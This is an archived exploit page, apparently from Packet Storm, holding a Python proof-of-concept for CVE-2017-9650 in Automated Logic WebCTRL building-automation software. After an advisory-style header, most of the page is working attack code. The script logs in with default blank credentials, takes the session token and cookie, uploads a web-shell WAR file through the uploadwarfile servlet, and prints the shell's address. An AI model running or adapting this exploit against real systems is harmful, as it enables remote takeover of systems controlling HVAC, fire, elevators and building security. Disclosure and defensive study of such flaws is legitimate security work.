Lucene search

K
packetstormLiquidWormPACKETSTORM:143897
HistoryAug 23, 2017 - 12:00 a.m.

Automated Logic WebCTRL 6.5 Unrestricted File Upload Remote Code Execution

2017-08-2300:00:00
LiquidWorm
packetstormsecurity.com
84

EPSS

0.001

Percentile

31.7%

`#!/usr/bin/env python  
# -*- coding: utf8 -*-  
#  
#  
# Automated Logic WebCTRL 6.5 Unrestricted File Upload Remote Code Execution  
#  
#  
# Vendor: Automated Logic Corporation  
# Product web page: http://www.automatedlogic.com  
# Affected version: ALC WebCTRL, i-Vu, SiteScan Web 6.5 and prior  
# ALC WebCTRL, SiteScan Web 6.1 and prior  
# ALC WebCTRL, i-Vu 6.0 and prior  
# ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior  
# ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior  
#  
# Summary: WebCTRLA(r), Automated Logic's web-based building automation  
# system, is known for its intuitive user interface and powerful integration  
# capabilities. It allows building operators to optimize and manage  
# all of their building systems - including HVAC, lighting, fire, elevators,  
# and security - all within a single HVAC controls platform. It's everything  
# they need to keep occupants comfortable, manage energy conservation measures,  
# identify key operational problems, and validate the results.  
#  
# Desc: WebCTRL suffers from an authenticated arbitrary code execution  
# vulnerability. The issue is caused due to the improper verification  
# when uploading Add-on (.addons or .war) files using the uploadwarfile  
# servlet. This can be exploited to execute arbitrary code by uploading  
# a malicious web archive file that will run automatically and can be  
# accessed from within the webroot directory. Additionaly, an improper  
# authorization access control occurs when using the 'anonymous' user.  
# By specification, the anonymous user should not have permissions or  
# authorization to upload or install add-ons. In this case, when using  
# the anonymous user, an attacker is still able to upload a malicious  
# file via insecure direct object reference and execute arbitrary code.  
# The anonymous user was removed from version 6.5 of WebCTRL.  
#  
# Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601)  
# Apache-Coyote/1.1  
# Apache Tomcat/7.0.42  
# CJServer/1.1  
# Java/1.7.0_25-b17  
# Java HotSpot Server VM 23.25-b01  
# Ant 1.7.0  
# Axis 1.4  
# Trove 2.0.2  
# Xalan Java 2.4.1  
# Xerces-J 2.6.1  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# @zeroscience  
#  
#  
# Advisory ID: ZSL-2017-5431  
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5431.php  
#  
# ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-17-234-01  
# CVE ID: CVE-2017-9650  
# CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9650  
#  
#  
# 30.01.2017  
#  
#  
  
import itertools  
import mimetools  
import mimetypes  
import cookielib  
import binascii  
import urllib2  
import urllib  
import sys  
import re  
import os  
  
from urllib2 import URLError  
global bindata  
  
__author__ = 'lqwrm'  
  
piton = os.path.basename(sys.argv[0])  
  
def bannerche():  
print '''  
@-------------------------------------------------@  
| |  
| WebCTRL 6.5 Authenticated RCE PoC |  
| ID: ZSL-2017-5431 |  
| Copyleft (c) 2017, Zero Science Lab |  
| |  
@-------------------------------------------------@  
'''  
if len(sys.argv) < 3:  
print '[+] Usage: '+piton+' <IP> <WAR FILE>'  
print '[+] Example: '+piton+' 10.0.0.17 webshell.war\n'  
sys.exit()  
  
bannerche()  
  
host = sys.argv[1]  
filename = sys.argv[2]  
  
with open(filename, 'rb') as f:  
content = f.read()  
hexo = binascii.hexlify(content)  
bindata = binascii.unhexlify(hexo)  
  
cj = cookielib.CookieJar()  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  
urllib2.install_opener(opener)  
  
print '[+] Probing target http://'+host  
  
try:  
checkhost = opener.open('http://'+host+'/index.jsp?operatorlocale=en')  
except urllib2.HTTPError, errorzio:  
if errorzio.code == 404:  
print '[!] Error 001:'  
print '[-] Check your target!'  
print  
sys.exit()  
except URLError, errorziocvaj:  
if errorziocvaj.reason:  
print '[!] Error 002:'  
print '[-] Check your target!'  
print  
sys.exit()  
  
print '[+] Target seems OK.'  
print '[+] Login please:'  
  
print '''  
Default username: Administrator, Anonymous  
Default password: (blank), (blank)  
'''  
  
username = raw_input('[*] Enter username: ')  
password = raw_input('[*] Enter password: ')  
  
login_data = urllib.urlencode({'pass':password, 'name':username, 'touchscr':'false'})  
  
opener.addheaders = [('User-agent', 'Thrizilla/33.9')]  
login = opener.open('http://'+host+'/?language=en', login_data)  
auth = login.read()  
  
if re.search(r'productName = \'WebCTRL', auth):  
print '[+] Authenticated!'  
token = re.search('wbs=(.+?)&', auth).group(1)  
print '[+] Got wbs token: '+token  
cookie1, cookie2 = [str(c) for c in cj]  
cookie = cookie1[8:51]  
print '[+] Got cookie: '+cookie  
else:  
print '[-] Incorrect username or password.'  
print  
sys.exit()  
  
print '[+] Sending payload.'  
  
class MultiPartForm(object):  
  
def __init__(self):  
self.form_fields = []  
self.files = []  
self.boundary = mimetools.choose_boundary()  
return  
  
def get_content_type(self):  
return 'multipart/form-data; boundary=%s' % self.boundary  
  
def add_field(self, name, value):  
self.form_fields.append((name, value))  
return  
  
def add_file(self, fieldname, filename, fileHandle, mimetype=None):  
body = fileHandle.read()  
if mimetype is None:  
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'  
self.files.append((fieldname, filename, mimetype, body))  
return  
  
def __str__(self):  
  
parts = []  
part_boundary = '--' + self.boundary  
  
parts.extend(  
[ part_boundary,  
'Content-Disposition: form-data; name="%s"' % name,  
'',  
value,  
]  
for name, value in self.form_fields  
)  
  
parts.extend(  
[ part_boundary,  
'Content-Disposition: file; name="%s"; filename="%s"' % \  
(field_name, filename),  
'Content-Type: %s' % content_type,  
'',  
body,  
]  
for field_name, filename, content_type, body in self.files  
)  
  
flattened = list(itertools.chain(*parts))  
flattened.append('--' + self.boundary + '--')  
flattened.append('')  
return '\r\n'.join(flattened)  
  
if __name__ == '__main__':  
form = MultiPartForm()  
form.add_field('wbs', token)  
form.add_field('file"; filename="'+filename, bindata)  
request = urllib2.Request('http://'+host+'/_common/servlet/lvl5/uploadwarfile')  
request.add_header('User-agent', 'SCADA/8.0')  
body = str(form)  
request.add_header('Content-type', form.get_content_type())  
request.add_header('Cookie', cookie)  
request.add_header('Content-length', len(body))  
request.add_data(body)  
request.get_data()  
urllib2.urlopen(request).read()  
  
print '[+] Payload uploaded.'  
print '[+] Shell available at: http://'+host+'/'+filename[:-4]  
print  
  
sys.exit()  
`